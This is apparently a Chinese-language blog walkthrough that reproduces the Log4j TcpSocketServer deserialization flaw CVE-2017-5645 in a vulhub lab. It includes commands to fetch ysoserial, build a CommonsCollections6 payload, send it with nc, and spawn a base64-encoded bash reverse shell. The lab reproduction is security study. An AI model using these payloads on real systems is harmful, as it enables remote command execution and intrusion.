Log4j 反序列化命令执行漏洞 CVE-2017-5645
影响范围
- Apache Log4j 2.0-alpha1 - 2.8.1
漏洞类型
Java 反序列化
操作系统限制
无
配置要求
- 启动 Log4j 的 TcpSocketServer 服务,监听 4712 端口(也可指定其他端口)
漏洞利用
命令执行,反弹 shell,植入木马
利用原理
Log4j 的 TcpSocketServer 和 UdpSocketServer 类中,在接收日志数据时,没有对数据进行安全检验,直接通过 ObjectInputSteam.readObject() 进行反序列化,攻击者可以构造被序列化的恶意对象链来实现命令执行
漏洞复现
用现成的 vulhub 来拉取镜像
1 | #下载vulhub源代码 |

扫描靶机端口 4712,用 telnet 连接成功连接,说明端口开放
1 | telnet 公网ip 被扫描端口 |

下载攻击工具并检查是否有 Java 环境
1 | wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar |

使用工具工具构造 payload,这里执行 touch /tmp/success
1 | java -jar ysoserial.jar 利用的攻击链(这里用CommonsCollection6,) "执行的命令" > 文件名.bin |

使用 nc 将二进制文件传到靶机
1 | nc -v 靶机ip 4712 < 工具构造的文件名.bin |

进入容器查看 /tmp,发现存在 success,说明成功执行命令

进行反弹 shell,使用 nc,nc -lvvp 监听端口

构造攻击 payload,将执行命令替换成下面这条
1 | bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i} |

用 nc 将二进制文件传入靶机

成功连接

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Johan的秘密小窝!
评论